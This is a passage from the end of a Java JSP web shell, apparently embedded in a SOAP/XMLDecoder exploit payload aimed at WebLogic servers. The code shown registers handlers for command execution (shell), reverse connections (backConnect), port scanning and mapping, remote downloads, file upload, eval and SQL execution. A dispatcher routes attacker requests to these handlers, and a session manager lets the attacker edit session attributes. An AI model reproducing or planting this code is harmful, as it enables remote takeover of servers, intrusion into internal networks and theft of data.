3177out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
3178out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
3179out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
3180out.println("</form></li>");
3181}
3182out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
3183"<legend>New Session Attribute</legend>"+
3184"name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
3185" name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
3186" </fieldset></form></li></ul></div></td>"+
3187" </tr>"+
3188" </table>");
3189} catch (Exception e) {
3190throw e ;
3191}
3192}
3193}
3194//Session Manager
3195private static class SmInvoker extends DefaultInvoker {
3196public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3197try {
3198String type = request.getParameter("type");
3199PrintWriter out = response.getWriter();
3200if (type.equals("update")) {
3201String name = request.getParameter("name");
3202String value = request.getParameter("value");
3203JSession.setAttribute(name,value);
3204JSession.setAttribute(MSG,"Update/Add Attribute Success !");
3205} else if (type.equals("delete")) {
3206String name = request.getParameter("name");
3207JSession.removeAttribute(name);
3208JSession.setAttribute(MSG,"Remove Attribute Success !");
3209}
3210((Invoker)ins.get("vother")).invoke(request,response,JSession);
3211} catch (Exception e) {
3212
3213throw e ;
3214}
3215}
3216}
3217
3218static{
3219ins.put("script",new ScriptInvoker());
3220ins.put("before",new BeforeInvoker());
3221ins.put("after",new AfterInvoker());
3222ins.put("deleteBatch",new DeleteBatchInvoker());
3223ins.put("clipboard",new ClipBoardInvoker());
3224ins.put("vPortScan",new VPortScanInvoker());
3225ins.put("portScan",new PortScanInvoker());
3226ins.put("vConn",new VConnInvoker());
3227ins.put("dbc",new DbcInvoker());
3228ins.put("executesql",new ExecuteSQLInvoker());
3229ins.put("vLogin",new VLoginInvoker());
3230ins.put("login",new LoginInvoker());
3231ins.put("filelist", new FileListInvoker());
3232ins.put("logout",new LogoutInvoker());
3233ins.put("upload",new UploadInvoker());
3234ins.put("copy",new CopyInvoker());
3235ins.put("bottom",new BottomInvoker());
3236ins.put("vCreateFile",new VCreateFileInvoker());
3237ins.put("vEdit",new VEditInvoker());
3238ins.put("createFile",new CreateFileInvoker());
3239ins.put("vEditProperty",new VEditPropertyInvoker());
3240ins.put("editProperty",new EditPropertyInvoker());
3241ins.put("vs",new VsInvoker());
3242ins.put("shell",new ShellInvoker());
3243ins.put("down",new DownInvoker());
3244ins.put("vd",new VdInvoker());
3245ins.put("downRemote",new DownRemoteInvoker());
3246ins.put("index",new IndexInvoker());
3247ins.put("mkdir",new MkDirInvoker());
3248ins.put("move",new MoveInvoker());
3249ins.put("removedir",new RemoveDirInvoker());
3250ins.put("packBatch",new PackBatchInvoker());
3251ins.put("pack",new PackInvoker());
3252ins.put("unpack",new UnPackInvoker());
3253ins.put("vmp",new VmpInvoker());
3254ins.put("vbc",new VbcInvoker());
3255ins.put("backConnect",new BackConnectInvoker());
3256ins.put("jspEnv",new JspEnvInvoker());
3257ins.put("smp",new SmpInvoker());
3258ins.put("mapPort",new MapPortInvoker());
3259ins.put("top",new TopInvoker());
3260ins.put("vso",new VOnLineShellInvoker());
3261ins.put("online",new OnLineInvoker());
3262ins.put("enter",new EnterInvoker());
3263ins.put("export",new ExportInvoker());
3264ins.put("ev",new EvalInvoker());
3265ins.put("eu",new EvalUploadInvoker());
3266ins.put("vother",new VOtherInvoker());
3267ins.put("sm",new SmInvoker());
3268ins.put("vExport",new VExport2FileInvoker());
3269ins.put("vPack",new VPackConfigInvoker());
3270ins.put("reflect",new ReflectInvoker());
3271ins.put("portBack",new PortBackInvoker());
3272}
3273%>
3274<%
3275try {
3276String o = request.getParameter("o");
3277if (Util.isEmpty(o)) {
3278if (session.getAttribute(SESSION_O) == null)
3279o = "index";
3280else {
3281o = session.getAttribute(SESSION_O).toString();
3282session.removeAttribute(SESSION_O);
3283}
3284}
3285Object obj = ins.get(o);
3286if (obj == null) {
3287response.sendRedirect(SHELL_NAME);
3288} else {
3289 Invoker in = (Invoker)obj;
3290if (in.doBefore()) {
3291String path = request.getParameter("folder");
3292if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
3293session.setAttribute(CURRENT_DIR,path);
3294((Invoker)ins.get("before")).invoke(request,response,session);
3295((Invoker)ins.get("script")).invoke(request,response,session);
3296((Invoker)ins.get("top")).invoke(request,response,session);
3297}
3298in.invoke(request,response,session);
3299if (!in.doAfter()) {
3300return;
3301}else{
3302((Invoker)ins.get("bottom")).invoke(request,response,session);
3303((Invoker)ins.get("after")).invoke(request,response,session);
3304}
3305}
3306} catch (Exception e) {
3307Object msg = session.getAttribute(MSG);
3308if (msg != null) {
3309Util.outMsg(out,(String)msg);
3310session.removeAttribute(MSG);
3311}
3312if (e.toString().indexOf("ClassCastException") != -1) {
3313Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
3314}
3315ByteArrayOutputStream bout = new ByteArrayOutputStream();
3316e.printStackTrace(new PrintStream(bout));
3317session.setAttribute(CURRENT_DIR,SHELL_DIR);
3318Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
3319bout.close();
3320out.flush();
3321((Invoker)ins.get("bottom")).invoke(request,response,session);
3322((Invoker)ins.get("after")).invoke(request,response,session);
3323}
3324%>]]>
3325</string></void><void method="close"/>
3326</object></java></java></work:WorkContext></soapenv:Header>
3327<soapenv:Body/></soapenv:Envelope>